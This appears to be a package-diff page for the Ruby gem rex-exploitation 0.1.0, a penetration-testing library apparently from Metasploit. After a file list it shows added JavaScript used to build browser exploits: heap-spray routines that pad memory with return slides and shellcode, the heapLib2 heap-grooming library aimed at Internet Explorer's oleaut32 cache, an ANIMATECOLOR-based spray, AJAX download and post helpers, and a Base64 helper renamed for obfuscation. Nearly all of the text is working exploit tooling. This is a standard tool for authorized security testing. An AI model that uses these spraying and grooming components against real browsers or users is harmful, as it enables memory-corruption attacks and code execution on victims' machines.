rex-exploitation 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +1 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +4 -0
- data/README.md +33 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/data/exploits/cmdstager/debug_asm +91 -0
- data/data/exploits/cmdstager/debug_write +819 -0
- data/data/exploits/cmdstager/vbs_b64 +40 -0
- data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
- data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
- data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
- data/data/js/detect/ie_addons.js +89 -0
- data/data/js/detect/misc_addons.js +157 -0
- data/data/js/detect/os.js +831 -0
- data/data/js/memory/explib2/lib/explib2.js +426 -0
- data/data/js/memory/explib2/payload/drop_exec.js +33 -0
- data/data/js/memory/explib2/payload/exec.js +10 -0
- data/data/js/memory/heap_spray.js +17 -0
- data/data/js/memory/heaplib2.js +192 -0
- data/data/js/memory/mstime_malloc.js +31 -0
- data/data/js/memory/property_spray.js +38 -0
- data/data/js/network/ajax_download.js +18 -0
- data/data/js/network/ajax_post.js +18 -0
- data/data/js/network/xhr_shim.js +15 -0
- data/data/js/utils/base64.js +126 -0
- data/data/ropdb/flash.xml +80 -0
- data/data/ropdb/hxds.xml +66 -0
- data/data/ropdb/java.xml +33 -0
- data/data/ropdb/msvcrt.xml +71 -0
- data/data/ropdb/reader.xml +132 -0
- data/data/ropdb/samba.xml +436 -0
- data/data/ropdb/stagefright.xml +225 -0
- data/lib/rex/exploitation.rb +7 -0
- data/lib/rex/exploitation/cmdstager.rb +11 -0
- data/lib/rex/exploitation/cmdstager/base.rb +189 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
- data/lib/rex/exploitation/egghunter.rb +423 -0
- data/lib/rex/exploitation/encryptjs.rb +79 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +70 -0
- data/lib/rex/exploitation/js/memory.rb +80 -0
- data/lib/rex/exploitation/js/network.rb +83 -0
- data/lib/rex/exploitation/js/utils.rb +32 -0
- data/lib/rex/exploitation/jsobfu.rb +17 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/exploitation/version.rb +5 -0
- data/rex-exploitation.gemspec +35 -0
- metadata +298 -0
- metadata.gz.sig +0 -0
@@ -0,0 +1,17 @@
|
|
1
|
+
var memory = new Array();
|
2
|
+
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
3
|
+
var index;
|
4
|
+
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
5
|
+
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
6
|
+
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
7
|
+
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
8
|
+
|
9
|
+
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
10
|
+
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
11
|
+
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
12
|
+
|
13
|
+
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
14
|
+
for (index = 0; index < heapBlockCnt; index++) {
|
15
|
+
memory[index] = retSlide + shellcode;
|
16
|
+
}
|
17
|
+
}
|
@@ -0,0 +1,192 @@
|
|
1
|
+
//heapLib2 namespace
|
2
|
+
function heapLib2() { }
|
3
|
+
|
4
|
+
//These are attributes that will not actually create a bstr
|
5
|
+
//and directly use the back-end allocator, completely bypassing the cache
|
6
|
+
var global_attrs = ["title", "lang", "class"];
|
7
|
+
|
8
|
+
heapLib2.ie = function(element, maxAlloc)
|
9
|
+
{
|
10
|
+
//128mb
|
11
|
+
this.maxAlloc = 0x8000000;
|
12
|
+
|
13
|
+
//make sure that an HTML DOM element is passed
|
14
|
+
if(!element.nodeType || element.nodeType != 1)
|
15
|
+
throw "alloc.argument: element not valid";
|
16
|
+
|
17
|
+
this.element = element;
|
18
|
+
|
19
|
+
if(maxAlloc)
|
20
|
+
this.maxAlloc = maxAlloc;
|
21
|
+
|
22
|
+
//empty the cache
|
23
|
+
this.Oleaut32EmptyCache();
|
24
|
+
this.Oleaut32FillCache();
|
25
|
+
this.Oleaut32EmptyCache();
|
26
|
+
|
27
|
+
}
|
28
|
+
|
29
|
+
heapLib2.ie.prototype.newelement = function(element)
|
30
|
+
{
|
31
|
+
//make sure that an HTML DOM element is passed
|
32
|
+
if(!element.nodeType || element.nodeType != 1)
|
33
|
+
throw "alloc.argument: element not valid";
|
34
|
+
|
35
|
+
this.element = element;
|
36
|
+
}
|
37
|
+
|
38
|
+
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
39
|
+
{
|
40
|
+
if(typeof(cache_ok)==='undefined')
|
41
|
+
cache_ok = false;
|
42
|
+
else
|
43
|
+
cache_ok = true;
|
44
|
+
|
45
|
+
//make sure the attribute name is a string
|
46
|
+
if(typeof attr_name != "string")
|
47
|
+
throw "alloc.argument: attr_name is not a string";
|
48
|
+
|
49
|
+
//make sure that the attribute name is not already present in the html element
|
50
|
+
if(this.element.getAttribute(attr_name))
|
51
|
+
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
52
|
+
|
53
|
+
//ensure the size is a number
|
54
|
+
if(typeof size != "number")
|
55
|
+
throw "alloc.argument: size is not a number: " + size;
|
56
|
+
|
57
|
+
//make sure the size isn't one of the special values
|
58
|
+
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
59
|
+
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
60
|
+
|
61
|
+
if(size > this.maxAlloc)
|
62
|
+
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
63
|
+
|
64
|
+
//the size must be at a 16-byte boundary this can be commented out but
|
65
|
+
//the allocations will be rounded to the nearest 16-byte boundary
|
66
|
+
if(size % 16 != 0)
|
67
|
+
throw "alloc.argument: size be a multiple of 16: " + size;
|
68
|
+
|
69
|
+
//20-bytes will be added to the size
|
70
|
+
//<4-byte size><data><2-byte null>
|
71
|
+
size = ((size / 2) - 6);
|
72
|
+
|
73
|
+
//May have to change this due to allocation side effects
|
74
|
+
var data = new Array(size).join(cache_ok ? "C" : "$");
|
75
|
+
|
76
|
+
var attr = document.createAttribute(attr_name);
|
77
|
+
this.element.setAttributeNode(attr);
|
78
|
+
this.element.setAttribute(attr_name, data);
|
79
|
+
|
80
|
+
}
|
81
|
+
|
82
|
+
//These items will allocate/free memory and should really
|
83
|
+
//only be used once per element. You can use a new element
|
84
|
+
//by calling the 'newelement' method above
|
85
|
+
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
86
|
+
{
|
87
|
+
//make sure the aval is a string
|
88
|
+
if(typeof val != "string")
|
89
|
+
throw "alloc.argument: val is not a string";
|
90
|
+
|
91
|
+
var size = (val.length * 2) + 6;
|
92
|
+
|
93
|
+
if(size > this.maxAlloc)
|
94
|
+
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
95
|
+
|
96
|
+
var i = 0;
|
97
|
+
var set_gattr = 0;
|
98
|
+
for(i = 0; i < global_attrs.length; i++)
|
99
|
+
{
|
100
|
+
curr_gattr = global_attrs[i];
|
101
|
+
if(!this.element.getAttribute(curr_gattr))
|
102
|
+
{
|
103
|
+
this.element.setAttribute(curr_gattr, "");
|
104
|
+
this.element.setAttribute(curr_gattr, val);
|
105
|
+
set_gattr = 1;
|
106
|
+
break;
|
107
|
+
}
|
108
|
+
}
|
109
|
+
|
110
|
+
if(set_gattr == 0)
|
111
|
+
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
112
|
+
}
|
113
|
+
|
114
|
+
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
115
|
+
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
116
|
+
{
|
117
|
+
//make sure the attribute name is a string
|
118
|
+
if(typeof attr_name != "string")
|
119
|
+
throw "alloc.argument: attr_name is not a string";
|
120
|
+
|
121
|
+
//make sure that the attribute name is not already present in the html element
|
122
|
+
if(this.element.getAttribute(attr_name))
|
123
|
+
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
124
|
+
|
125
|
+
//ensure the size is a number
|
126
|
+
if(typeof str != "string")
|
127
|
+
throw "alloc.argument: str is not a string: " + typeof str;
|
128
|
+
|
129
|
+
var size = (str.length * 2) + 6;
|
130
|
+
|
131
|
+
//make sure the size isn't one of the special values
|
132
|
+
if(size <= 0x8000)
|
133
|
+
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
134
|
+
|
135
|
+
if(size > this.maxAlloc)
|
136
|
+
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
137
|
+
|
138
|
+
var attr = document.createAttribute(attr_name);
|
139
|
+
this.element.setAttributeNode(attr);
|
140
|
+
this.element.setAttribute(attr_name, str);
|
141
|
+
}
|
142
|
+
|
143
|
+
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
144
|
+
{
|
145
|
+
if(typeof(skip_flush)==='undefined')
|
146
|
+
skip_flush = false;
|
147
|
+
else
|
148
|
+
skip_flush = true;
|
149
|
+
|
150
|
+
//make sure that an HTML DOM element is passed
|
151
|
+
if(!this.element.nodeType || this.element.nodeType != 1)
|
152
|
+
throw "alloc.argument: element not valid";
|
153
|
+
|
154
|
+
//make sure the attribute name is a string
|
155
|
+
if(typeof attr_name != "string")
|
156
|
+
throw "alloc.argument: attr_name is not a string";
|
157
|
+
|
158
|
+
//make sure that the attribute name is not already present in the html element
|
159
|
+
if(!this.element.getAttribute(attr_name))
|
160
|
+
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
161
|
+
|
162
|
+
//make sure the cache is full so the chunk returns the general purpose heap
|
163
|
+
if(!skip_flush)
|
164
|
+
this.Oleaut32FillCache();
|
165
|
+
|
166
|
+
this.element.setAttribute(attr_name, null);
|
167
|
+
|
168
|
+
if(!skip_flush)
|
169
|
+
this.Oleaut32EmptyCache()
|
170
|
+
}
|
171
|
+
|
172
|
+
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
173
|
+
{
|
174
|
+
for(var i = 0; i < 6; i++)
|
175
|
+
{
|
176
|
+
this.free("cache0x20"+i, true);
|
177
|
+
this.free("cache0x40"+i, true);
|
178
|
+
this.free("cache0x100"+i, true);
|
179
|
+
this.free("cache0x8000"+i, true);
|
180
|
+
}
|
181
|
+
}
|
182
|
+
|
183
|
+
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
184
|
+
{
|
185
|
+
for(var i = 0; i < 6; i++)
|
186
|
+
{
|
187
|
+
this.alloc("cache0x20"+i, 0x20, true);
|
188
|
+
this.alloc("cache0x40"+i, 0x40, true);
|
189
|
+
this.alloc("cache0x100"+i, 0x100, true);
|
190
|
+
this.alloc("cache0x8000"+i, 0x8000, true);
|
191
|
+
}
|
192
|
+
}
|
@@ -0,0 +1,31 @@
|
|
1
|
+
function mstime_malloc(oArg) {
|
2
|
+
var shellcode = oArg.shellcode;
|
3
|
+
var offset = oArg.offset;
|
4
|
+
var heapBlockSize = oArg.heapBlockSize;
|
5
|
+
var objId = oArg.objId;
|
6
|
+
|
7
|
+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
8
|
+
if (offset == undefined) { offset = 0; }
|
9
|
+
if (heapBlockSize == undefined) { throw "Size must be defined"; }
|
10
|
+
|
11
|
+
var buf = "";
|
12
|
+
for (var i=0; i < heapBlockSize/4; i++) {
|
13
|
+
if (i == offset) {
|
14
|
+
if (i == 0) { buf += shellcode; }
|
15
|
+
else { buf += ";" + shellcode; }
|
16
|
+
}
|
17
|
+
else {
|
18
|
+
buf += ";#W00TA";
|
19
|
+
}
|
20
|
+
}
|
21
|
+
|
22
|
+
var e = document.getElementById(objId);
|
23
|
+
if (e == null) {
|
24
|
+
var eleId = "W00TB"
|
25
|
+
var acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
|
26
|
+
document.body.innerHTML = document.body.innerHTML + acTag;
|
27
|
+
e = document.getElementById(eleId);
|
28
|
+
}
|
29
|
+
try { e.values = buf; }
|
30
|
+
catch (e) {}
|
31
|
+
}
|
@@ -0,0 +1,38 @@
|
|
1
|
+
var sym_div_container;
|
2
|
+
function sprayHeap( oArg ) {
|
3
|
+
var shellcode = oArg.shellcode;
|
4
|
+
var offset = oArg.offset;
|
5
|
+
var heapBlockSize = oArg.heapBlockSize;
|
6
|
+
var maxAllocs = oArg.maxAllocs;
|
7
|
+
var objId = oArg.objId;
|
8
|
+
|
9
|
+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
10
|
+
if (offset == undefined) { offset = 0x00; }
|
11
|
+
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
|
12
|
+
if (maxAllocs == undefined) { maxAllocs = 0x350; }
|
13
|
+
|
14
|
+
if (offset > 0x800) { throw "Bad alignment"; }
|
15
|
+
|
16
|
+
sym_div_container = document.getElementById(objId);
|
17
|
+
|
18
|
+
if (sym_div_container == null) {
|
19
|
+
sym_div_container = document.createElement("div");
|
20
|
+
}
|
21
|
+
|
22
|
+
sym_div_container.style.cssText = "display:none";
|
23
|
+
var data;
|
24
|
+
junk = unescape("%u2020%u2020");
|
25
|
+
while (junk.length < offset+0x1000) junk += junk;
|
26
|
+
|
27
|
+
data = junk.substring(0,offset) + shellcode;
|
28
|
+
data += junk.substring(0,0x800-offset-shellcode.length);
|
29
|
+
|
30
|
+
while (data.length < heapBlockSize) data += data;
|
31
|
+
|
32
|
+
for (var i = 0; i < maxAllocs; i++)
|
33
|
+
{
|
34
|
+
var obj = document.createElement("button");
|
35
|
+
obj.title = data.substring(0, (heapBlockSize-2)/2);
|
36
|
+
sym_div_container.appendChild(obj);
|
37
|
+
}
|
38
|
+
}
|
@@ -0,0 +1,18 @@
|
|
1
|
+
function ajax_download(oArg) {
|
2
|
+
if (!oArg.method) { oArg.method = "GET"; }
|
3
|
+
if (!oArg.path) { throw "Missing parameter 'path'"; }
|
4
|
+
if (!oArg.data) { oArg.data = null; }
|
5
|
+
|
6
|
+
var xmlHttp = new XMLHttpRequest();
|
7
|
+
|
8
|
+
if (xmlHttp.overrideMimeType) {
|
9
|
+
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
10
|
+
}
|
11
|
+
|
12
|
+
xmlHttp.open(oArg.method, oArg.path, false);
|
13
|
+
xmlHttp.send(oArg.data);
|
14
|
+
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
15
|
+
return xmlHttp.responseText;
|
16
|
+
}
|
17
|
+
return null;
|
18
|
+
}
|
@@ -0,0 +1,18 @@
|
|
1
|
+
function postInfo(path, data, cb) {
|
2
|
+
var xmlHttp = new XMLHttpRequest();
|
3
|
+
|
4
|
+
if (xmlHttp.overrideMimeType) {
|
5
|
+
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
6
|
+
}
|
7
|
+
|
8
|
+
xmlHttp.open('POST', path, !!cb);
|
9
|
+
|
10
|
+
if (cb) {
|
11
|
+
xmlHttp.onreadystatechange = function() {
|
12
|
+
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
|
13
|
+
};
|
14
|
+
}
|
15
|
+
|
16
|
+
xmlHttp.send(data);
|
17
|
+
return xmlHttp;
|
18
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
if (!window.XMLHTTPRequest) {
|
2
|
+
(function() {
|
3
|
+
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
|
4
|
+
for (idx = 0; idx < activeObjs.length; idx++) {
|
5
|
+
try {
|
6
|
+
new ActiveXObject(activeObjs[idx]);
|
7
|
+
window.XMLHttpRequest = function() {
|
8
|
+
return new ActiveXObject(activeObjs[idx]);
|
9
|
+
};
|
10
|
+
break;
|
11
|
+
}
|
12
|
+
catch (e) {}
|
13
|
+
}
|
14
|
+
})();
|
15
|
+
}
|
@@ -0,0 +1,126 @@
|
|
1
|
+
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
|
2
|
+
// variable names changed to make obfuscation easier
|
3
|
+
var Base64 = {
|
4
|
+
// private property
|
5
|
+
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
6
|
+
|
7
|
+
// private method
|
8
|
+
_utf8_encode : function ( input ){
|
9
|
+
input = input.replace(/\r\n/g,"\\n");
|
10
|
+
var utftext = "";
|
11
|
+
var input_idx;
|
12
|
+
|
13
|
+
for (input_idx = 0; input_idx < input.length; input_idx++) {
|
14
|
+
var chr = input.charCodeAt(input_idx);
|
15
|
+
if (chr < 128) {
|
16
|
+
utftext += String.fromCharCode(chr);
|
17
|
+
}
|
18
|
+
else if((chr > 127) && (chr < 2048)) {
|
19
|
+
utftext += String.fromCharCode((chr >> 6) | 192);
|
20
|
+
utftext += String.fromCharCode((chr & 63) | 128);
|
21
|
+
} else {
|
22
|
+
utftext += String.fromCharCode((chr >> 12) | 224);
|
23
|
+
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
|
24
|
+
utftext += String.fromCharCode((chr & 63) | 128);
|
25
|
+
}
|
26
|
+
}
|
27
|
+
|
28
|
+
return utftext;
|
29
|
+
},
|
30
|
+
|
31
|
+
// public method for encoding
|
32
|
+
encode : function( input ) {
|
33
|
+
var output = "";
|
34
|
+
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
35
|
+
var input_idx = 0;
|
36
|
+
|
37
|
+
input = Base64._utf8_encode(input);
|
38
|
+
|
39
|
+
while (input_idx < input.length) {
|
40
|
+
chr1 = input.charCodeAt( input_idx++ );
|
41
|
+
chr2 = input.charCodeAt( input_idx++ );
|
42
|
+
chr3 = input.charCodeAt( input_idx++ );
|
43
|
+
|
44
|
+
enc1 = chr1 >> 2;
|
45
|
+
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
46
|
+
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
47
|
+
enc4 = chr3 & 63;
|
48
|
+
|
49
|
+
if (isNaN(chr2)) {
|
50
|
+
enc3 = enc4 = 64;
|
51
|
+
} else if (isNaN(chr3)) {
|
52
|
+
enc4 = 64;
|
53
|
+
}
|
54
|
+
output = output +
|
55
|
+
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
|
56
|
+
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
|
57
|
+
}
|
58
|
+
return output;
|
59
|
+
},
|
60
|
+
// public method for decoding
|
61
|
+
decode : function (input) {
|
62
|
+
var output = "";
|
63
|
+
var chr1, chr2, chr3;
|
64
|
+
var enc1, enc2, enc3, enc4;
|
65
|
+
var i = 0;
|
66
|
+
|
67
|
+
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
68
|
+
|
69
|
+
while (i < input.length) {
|
70
|
+
|
71
|
+
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
72
|
+
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
73
|
+
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
74
|
+
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
75
|
+
|
76
|
+
chr1 = (enc1 << 2) | (enc2 >> 4);
|
77
|
+
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
78
|
+
chr3 = ((enc3 & 3) << 6) | enc4;
|
79
|
+
|
80
|
+
output = output + String.fromCharCode(chr1);
|
81
|
+
|
82
|
+
if (enc3 != 64) {
|
83
|
+
output = output + String.fromCharCode(chr2);
|
84
|
+
}
|
85
|
+
if (enc4 != 64) {
|
86
|
+
output = output + String.fromCharCode(chr3);
|
87
|
+
}
|
88
|
+
|
89
|
+
}
|
90
|
+
|
91
|
+
output = Base64._utf8_decode(output);
|
92
|
+
|
93
|
+
return output;
|
94
|
+
|
95
|
+
},
|
96
|
+
_utf8_decode : function (utftext) {
|
97
|
+
var string = "";
|
98
|
+
var input_idx = 0;
|
99
|
+
var chr1 = 0;
|
100
|
+
var chr2 = 0;
|
101
|
+
var chr3 = 0;
|
102
|
+
|
103
|
+
while ( input_idx < utftext.length ) {
|
104
|
+
|
105
|
+
chr1 = utftext.charCodeAt(input_idx);
|
106
|
+
|
107
|
+
if (chr1 < 128) {
|
108
|
+
string += String.fromCharCode(chr1);
|
109
|
+
input_idx++;
|
110
|
+
}
|
111
|
+
else if((chr1 > 191) && (chr1 < 224)) {
|
112
|
+
chr2 = utftext.charCodeAt(input_idx+1);
|
113
|
+
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
114
|
+
input_idx += 2;
|
115
|
+
} else {
|
116
|
+
chr2 = utftext.charCodeAt(input_idx+1);
|
117
|
+
chr3 = utftext.charCodeAt(input_idx+2);
|
118
|
+
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
119
|
+
input_idx += 3;
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
return string;
|
124
|
+
}
|
125
|
+
|
126
|
+
};
|